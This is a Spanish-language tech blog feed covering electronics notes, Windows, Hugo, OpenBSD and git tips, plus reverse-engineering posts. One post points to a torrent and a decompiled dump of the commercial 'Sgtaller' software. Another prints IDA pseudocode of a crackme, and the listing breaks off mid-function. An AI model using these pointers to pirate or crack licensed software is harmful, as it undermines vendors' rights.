está bien, sino el diodo está en corto y no está trabajando. El diodo no rectifica sin caída de tensión. Al medir inversa no permite que pase el negativo (que no pase la corriente) por eso no es conveniente medir con corriente alterna. Al medir el diodo a la inversa debe dar abierto. Si el diodo está en corto midas donde midas dará el voltaje de la fuente. Medir transformador de forma peligrosa. Al final medimos todo fue medio confuso (Hora 03:25:00). Cuando medís al chasis no debería dar nada. La bobina de baja no tiene que estar a tierra. El capacitor tiene que doblar el voltaje.
https://imlauera.github.io/post/clase11_electro/
Thu, 12 Sep 2024 19:29:21 -0300
https://imlauera.github.io/post/clase11_electro/
<h3 id="audio-en-youtube">Audio en YouTube</h3>
<p><a href="https://www.youtube.com/watch?v=VBKQeiF5XVM">https://www.youtube.com/watch?v=VBKQeiF5XVM</a></p>
<h3 id="audio-en-invidious">Audio en Invidious</h3>
<p><a href="https://redirect.invidious.io/watch?v=VBKQeiF5XVM">https://redirect.invidious.io/watch?v=VBKQeiF5XVM</a></p>
<h3 id="audio-en-vocaroo">Audio en Vocaroo</h3>
<p><a href="https://vocaroo.com/187G3giPOmoV">https://vocaroo.com/187G3giPOmoV</a></p>
<p>Los transformadores de los microondas funcionan en baja frecuencia: 50,60 hertz.<br>
El transformador del microondas es de línea.</p>
<p>Tipos de transformadores: núcleo de ferrita: switching o conmutada(10mil y 100mil ciclos) y núcleo de hierro al silicio: lineal(50 y 60 ciclos).</p>
<p>No se puede poner a 10.000 y 100.000 ciclos el hierro al silicio</p>
<p>El único cuidado a tener es no poner en una fuente de 3 un transformador de 2.</p>
-
Compartir impresora en Windows
https://imlauera.github.io/post/compartir_impresora/
Wed, 11 Sep 2024 11:07:44 -0300
https://imlauera.github.io/post/compartir_impresora/
<h4 id="youtube">YouTube</h4>
<p><a href="https://www.youtube.com/watch?v=2HyhMo4Qtw8">https://www.youtube.com/watch?v=2HyhMo4Qtw8</a></p>
<h4 id="invidious">Invidious</h4>
<p><a href="https://redirect.invidious.us/watch?v=2HyhMo4Qtw8">https://redirect.invidious.us/watch?v=2HyhMo4Qtw8</a></p>
<p>(Crea un usuario impresora no hace falta) <a href="https://www.youtube.com/watch?v=t_8iZ1pxURU">https://www.youtube.com/watch?v=t_8iZ1pxURU</a></p>
<h4 id="creá-un-usuario-llamado-impresora-no-hace-falta-si-el-usuario-que-ya-usas-tiene-contraseña-o-si-le-querés-agregar-una-contraseña-al-usuario-que-ya-tenes">Creá un usuario llamado impresora (no hace falta si el usuario que ya usas tiene contraseña o si le querés agregar una contraseña al usuario que ya tenes):</h4>
<p>Esta solucion es sólo si no querés agregarle una contraseña al usuario que estás usando</p>
<p>Configuración > otros usuarios > agregar cuenta > no tengo los datos de inicio de session de esta persona > agregar un usuario sin cuenta microsoft > Impresora > contraseña y preguntas de seguridad.</p>
-
Idapro_copilot
https://imlauera.github.io/post/idapro_copilot/
Wed, 11 Sep 2024 06:02:15 -0300
https://imlauera.github.io/post/idapro_copilot/
<p><a href="https://github.com/Antelcat/ida_copilot">https://github.com/Antelcat/ida_copilot</a></p>
<p><strong>Características</strong></p>
<p>🤖 Análisis automático de código: simplemente navegue hasta una función, ejecute el complemento y Copilot lo analizará automáticamente.
🔍 Información contextual de funciones: obtenga información detallada sobre funciones, incluidas definiciones, pseudocódigo y comentarios relevantes.
✏️ Cambiar nombre de funciones: la IA analizará automáticamente la función y le cambiará el nombre según su funcionalidad.
🛠️ Integración perfecta: el complemento se integra perfectamente con IDA Pro, agregando acciones de menú para un acceso rápido y atajos de teclado para los usuarios.
⏫ Mejora continua: el desarrollo continuo promete la incorporación de nuevas funciones y capacidades.</p>
-
Sgtaller
https://imlauera.github.io/post/sgtaller/
Tue, 10 Sep 2024 16:53:02 -0300
https://imlauera.github.io/post/sgtaller/
<p>Hay un torrent dando vueltas si usas jackket y qbittorrent lo vas a encontrar.
Acá tienen un dump de binario con IDA:</p>
<p><a href="https://ia904602.us.archive.org/17/items/Service.exe/Service.exe.c">https://ia904602.us.archive.org/17/items/Service.exe/Service.exe.c</a></p>
-
Como descargar musica videos YouTube
https://imlauera.github.io/post/como_descargar_musica_videos_youtube/
Tue, 10 Sep 2024 16:20:40 -0300
https://imlauera.github.io/post/como_descargar_musica_videos_youtube/
<p><a href="https://redirect.invidious.io">https://redirect.invidious.io</a></p>
<p>En la parte izquierda de la página aparece descargar como y podés seleccionar “audio”</p>
<p>O usando <code>yt-dlp -f140</code> 140 es para audio.
<code>134</code> es para 360p. Podés unirlos así: <code>yt-dlp -f140+134</code></p>
-
Agregar Rawhtml en HUGO
https://imlauera.github.io/post/rawhtml_hugo/
Tue, 10 Sep 2024 16:17:04 -0300
https://imlauera.github.io/post/rawhtml_hugo/
<p>Para hacer esto previamente es recomendable tener clonado el repo del theme o forkeado y comitear los cambios.</p>
<p>Agregá en <code>/layouts/shortcodes/rawhtml.html</code></p>
<pre tabindex="0"><code><!-- raw html -->
{{.Inner}}
</code></pre>
-
Openbsd kvm/virtmanager
https://imlauera.github.io/post/openbsd_kvm_virtmanager/
Tue, 10 Sep 2024 06:23:41 -0300
https://imlauera.github.io/post/openbsd_kvm_virtmanager/
<p>Para instalar OpenBSD usando <a href="https://imlauera.github.io/post/como-instalar-qemu-kvm-virt-manager/">Qemu-kvm-virtmanager</a> tenés que deshabilitar la opción <code>Enable I/O APIC</code> que se encuentra en <code>opciones > sistema</code>.</p>
<h4 id="otra-posible-solución">Otra posible solución</h4>
<p><code>You need to change the VM from dynamically allocated to fixed size on the physical HDD.</code></p>
<h4 id="otra-posible-solución-1">Otra posible solución</h4>
<p>Utilizo virt-manager para administrar máquinas virtuales. Estos son los pasos para hacerlo al crear la VM:</p>
<ol>
<li>Creá la VM y en el último paso elegí “Personalizar la configuración antes de la instalación” (Customize configuration before install)</li>
<li>Hacé clic en la pestaña “IDE CDROM 1” y cambie “Bus de disco”(Disk bus) a SATA</li>
<li>Luego hacé clic en Aplicar y luego en Iniciar instalación en la parte superior izquierda.</li>
</ol>
<p>Después de eso, OpenBSD se instaló correctamente.</p>
-
Que hacer si pusheaste un archivo muy grande a Github y te lo robotó
https://imlauera.github.io/post/que_hacer_si_pusheaste_un_archivo_muy_grande/
Tue, 10 Sep 2024 03:23:24 -0300
https://imlauera.github.io/post/que_hacer_si_pusheaste_un_archivo_muy_grande/
<p><code>git reset HEAD^^</code></p>
<p><a href="https://stackoverflow.com/questions/20002557/how-to-remove-a-too-large-file-in-a-commit-when-my-branch-is-ahead-of-master-by">https://stackoverflow.com/questions/20002557/how-to-remove-a-too-large-file-in-a-commit-when-my-branch-is-ahead-of-master-by</a></p>
-
BAUL de CRACKING: WINNER.zip
https://imlauera.github.io/post/winner.zip/
Mon, 09 Sep 2024 17:37:00 -0300
https://imlauera.github.io/post/winner.zip/
<p>BAUL: <a href="https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1">https://drive.google.com/file/d/1QRIk3zBGGXH54nSZorX3jnuNmURCHw6K/view?pli=1</a></p>
<p>Para iniciar el programa tenés que darle un número negativo como entrada.</p>
<p>IDA</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><windows.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><defs.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdarg.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//-------------------------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Function declarations
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_401020</span>(FILE <span style="color:#f92672">*</span>Stream, <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>Format, ...);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>Format, ...);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">printf</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Format, ...);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">scanf</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Format, ...);
</span></span><span style="display:flex;"><span>DWORD <span style="color:#66d9ef">__stdcall</span> <span style="color:#a6e22e">StartAddress</span>(FILE <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> lpThreadParameter, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> Format, va_list ArgList);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">vfwprintf</span>(FILE <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> Stream, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> Format, va_list ArgList);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_40142F</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_401437</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">UserMathErrorFunction</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_4019E2</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">sub_4019EC</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">char</span> <span style="color:#a6e22e">sub_4019F8</span>();
</span></span><span style="display:flex;"><span><span style="color:#75715e">// int __scrt_initialize_default_local_stdio_options(void); weak
</span></span></span><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">sub_401A3C</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">sub_401A48</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">sub_401A4E</span>();
</span></span><span style="display:flex;"><span>LPTOP_LEVEL_EXCEPTION_FILTER <span style="color:#a6e22e">sub_401BB6</span>();
</span></span><span style="display:flex;"><span><span style="color:#75715e">// LONG __stdcall __scrt_unhandled_exception_filter(struct _EXCEPTION_POINTERS *ExceptionInfo); idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">sub_401C18</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">sub_401C20</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">sub_401C4C</span>(); <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// int __cdecl set_new_mode(int NewMode);
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//-------------------------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// Data declarations
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *TlsSetValue)(DWORD dwTlsIndex, LPVOID lpTlsValue);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *WaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *GetCurrentThreadId)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall *Sleep)(DWORD dwMilliseconds);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *GetLastError)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern DWORD (__stdcall *TlsAlloc)();
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern HANDLE (__stdcall *CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern HLOCAL (__stdcall *LocalFree)(HLOCAL hMem);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall __noreturn *ExitProcess)(UINT uExitCode);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern LPVOID (__stdcall *TlsGetValue)(DWORD dwTlsIndex);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern BOOL (__stdcall *TlsFree)(DWORD dwTlsIndex);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__stdcall *InitializeSListHead)(PSLIST_HEADER ListHead);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern LPTOP_LEVEL_EXCEPTION_FILTER (__stdcall *SetUnhandledExceptionFilter)(LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern void (__cdecl __noreturn *exit)(int Code);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// extern FILE *(__cdecl *_acrt_iob_func)(unsigned int Ix);
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> dword_40500C <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">union</span> _SLIST_HEADER ListHead; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> dword_405360; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>DWORD dwTlsIndex; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> dword_405374; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>LPVOID lpTlsValue; <span style="color:#75715e">// idb
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> dword_40537C; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> ingresado_numero; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>_UNKNOWN unk_405384; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>_UNKNOWN unk_405398; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>_UNKNOWN unk_40539C; <span style="color:#75715e">// weak
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401000) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">sub_401000</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">&</span>unk_405390;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401010) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">sub_401010</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">&</span>unk_405388;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401020) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_401020</span>(FILE <span style="color:#f92672">*</span>Stream, <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>Format, ...)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> <span style="color:#f92672">*</span>v2; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> va_list va; <span style="color:#75715e">// [esp+10h] [ebp+10h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(va, Format);
</span></span><span style="display:flex;"><span> v2 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401000</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_stdio_common_vfwprintf_s</span>(<span style="color:#f92672">*</span>v2, Stream, Format, <span style="color:#ae81ff">0</span>, va);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401050) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">sub_401050</span>(<span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>Format, ...)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// [esp-10h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> va_list va; <span style="color:#75715e">// [esp+10h] [ebp+Ch] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(va, Format);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">1u</span>);
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401000</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_stdio_common_vfwprintf</span>(<span style="color:#f92672">*</span>v1, v3, Format, <span style="color:#ae81ff">0</span>, va);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 401000: using guessed type int sub_401000(void);
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (00401080) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">printf</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Format, ...)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// [esp-10h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> va_list va; <span style="color:#75715e">// [esp+10h] [ebp+Ch] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(va, Format);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">1u</span>);
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401000</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_stdio_common_vfprintf</span>(<span style="color:#f92672">*</span>v1, v3, Format, <span style="color:#ae81ff">0</span>, va);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (004010B0) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">scanf</span>(<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Format, ...)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> _DWORD <span style="color:#f92672">*</span>v1; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">__int64</span> v3; <span style="color:#75715e">// [esp-18h] [ebp-1Ch]
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v4; <span style="color:#75715e">// [esp-10h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> va_list va; <span style="color:#75715e">// [esp+10h] [ebp+Ch] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">va_start</span>(va, Format);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v1 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_401010</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HIDWORD</span>(v3) <span style="color:#f92672">=</span> v1[<span style="color:#ae81ff">1</span>];
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LODWORD</span>(v3) <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>v1 <span style="color:#f92672">|</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">_stdio_common_vfscanf</span>(v3, v4, Format, <span style="color:#ae81ff">0</span>, va);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (004010F0) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span>DWORD <span style="color:#66d9ef">__stdcall</span> <span style="color:#a6e22e">StartAddress</span>(FILE <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> lpThreadParameter, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span><span style="color:#66d9ef">const</span> Format, va_list ArgList)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> DWORD CurrentThreadId; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> LPVOID v4; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>Value; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> DWORD v6; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>v7; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>v9; <span style="color:#75715e">// [esp-4h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> lpTlsValue <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>dword_405374;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> dword_405374 <span style="color:#f92672">=</span> ingresado_numero <span style="color:#f92672">^</span> (dword_405374 <span style="color:#f92672">+</span> <span style="color:#ae81ff">5</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> dword_40537C <span style="color:#f92672">=</span> <span style="color:#f92672">&</span>unk_405384;
</span></span><span style="display:flex;"><span> CurrentThreadId <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetCurrentThreadId</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">"Creation: Current thread Id is % d : Its data pointer, lpvData = % lx</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, CurrentThreadId, <span style="color:#f92672">&</span>dword_405374);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span><span style="color:#a6e22e">TlsSetValue</span>(dwTlsIndex, lpTlsValue) )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(lpThreadParameter, Format, ArgList);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> dword_40537C;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( dword_405374 <span style="color:#f92672">></span> <span style="color:#ae81ff">48</span> )
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> lpTlsValue;
</span></span><span style="display:flex;"><span> dword_40537C <span style="color:#f92672">=</span> v4;
</span></span><span style="display:flex;"><span> Value <span style="color:#f92672">=</span> <span style="color:#a6e22e">TlsGetValue</span>(dwTlsIndex);
</span></span><span style="display:flex;"><span> lpTlsValue <span style="color:#f92672">=</span> Value;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>Value )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">GetLastError</span>() )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(lpThreadParameter, Format, ArgList);
</span></span><span style="display:flex;"><span> Value <span style="color:#f92672">=</span> lpTlsValue;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> v9 <span style="color:#f92672">=</span> Value;
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetCurrentThreadId</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">"common: Current thread Id is % d : Its data pointer, lpvData = % lx</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v6, v9);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Sleep</span>(<span style="color:#ae81ff">0x1388u</span>);
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">TlsGetValue</span>(dwTlsIndex);
</span></span><span style="display:flex;"><span> lpTlsValue <span style="color:#f92672">=</span> v7;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v7 )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LocalFree</span>(v7);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">vfwprintf</span>(<span style="color:#e6db74">L</span><span style="color:#e6db74">"lpvData already freed!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">// 405374: using guessed type int dword_405374;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 40537C: using guessed type int dword_40537C;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// 405380: using guessed type int ingresado_numero;
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//----- (004011F0) --------------------------------------------------------
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// esi
</span></span></span><span style="display:flex;"><span> HANDLE v4; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> j; <span style="color:#75715e">// esi
</span></span></span><span style="display:flex;"><span> DWORD v6; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>v7; <span style="color:#75715e">// ecx
</span></span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v9; <span style="color:#75715e">// [esp-8h] [ebp-4Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">wchar_t</span> <span style="color:#f92672">*</span>v10; <span style="color:#75715e">// [esp-4h] [ebp-48h]
</span></span></span><span style="display:flex;"><span> HANDLE hHandle[<span style="color:#ae81ff">15</span>]; <span style="color:#75715e">// [esp+0h] [ebp-44h]
</span></span></span><span style="display:flex;"><span> DWORD ThreadId; <span style="color:#75715e">// [esp+3Ch] [ebp-8h] BYREF
</span></span></span><span style="display:flex;"><span>
